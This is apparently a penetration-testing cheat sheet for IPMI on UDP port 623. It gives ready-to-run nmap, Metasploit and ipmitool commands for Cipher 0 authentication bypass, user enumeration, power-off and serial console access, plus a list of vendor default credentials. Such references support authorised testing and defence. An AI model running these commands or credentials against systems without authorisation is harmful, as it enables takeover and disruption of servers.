Notes
Notes
| Alternative Ports |
|---|
| 623 UDP (IPMI RMCP) |
Service Description
IPMI (Intelligent Platform Management Interface) is used for remote server management, hardware monitoring, and out-of-band administration. Typically used by BMCs (Baseboard Management Controllers). Traffic is exchanged via UDP/623 for RMCP and IPMI commands.
Warning
Some devices allow authentication bypass using Cipher 0 (no authentication). This can lead to full user enumeration and privilege abuse.
Attacks
Authentication Bypass via Cipher 0
Allows access without valid credentials by using null authentication (Auth Type 0). Supported by many older IPMI implementations.
Default or Weak Credentials
Many vendors ship with hardcoded or weak default passwords. Attackers can gain full access if unchanged.
Tools & Exploits
Enumeration
nmap
Scan for UDP/623 IPMI endpoints.
nmap -n -sU -p 623 <target>Metasploit
Check for Cipher 0 and gather version info.
use auxiliary/scanner/ipmi/ipmi_cipher_zero
use auxiliary/scanner/ipmi/ipmi_versionipmitool
Standard client for querying/managing IPMI endpoints.
# Cipher 0 null auth attack
ipmitool -I lanplus -C 0 -H <target> -U <username> -P <password> user listKnown Default Credentials (by Vendor)
Supermicro: ADMIN / ADMIN
Dell iDRAC: root / calvin
HP iLO: Administrator / <8-char default from label>
Cisco UCS: admin / admin
Generic: root / changeme
Exploitation or Post-Enum
Enumerate Users & Capabilities
ipmitool -I lanplus -H <target> -U <user> -P <pass> user list
ipmitool -I lanplus -H <target> -U <user> -P <pass> lan printPower Controls / Remote Admin
ipmitool -I lanplus -H <target> -U <user> -P <pass> power status
ipmitool -I lanplus -H <target> -U <user> -P <pass> power off
ipmitool -I lanplus -H <target> -U <user> -P <pass> sol activateWireshark Analysis Tips
Filters
udp.port == 623What to look for:
- RMCP traffic structure
- Cipher suite negotiation (look for
Auth Type: None) - Leaked BMC metadata (firmware version, MAC, device type)
BMC Fingerprinting
- Scan nearby ports (80, 443, 6230, 8443) for web admin interfaces
- Inspect MAC OUI to identify hardware vendor
- Banner grabbing / HTTP responses can reveal model/firmware
- SNMP or web UI leaks may also expose firmware and vendor info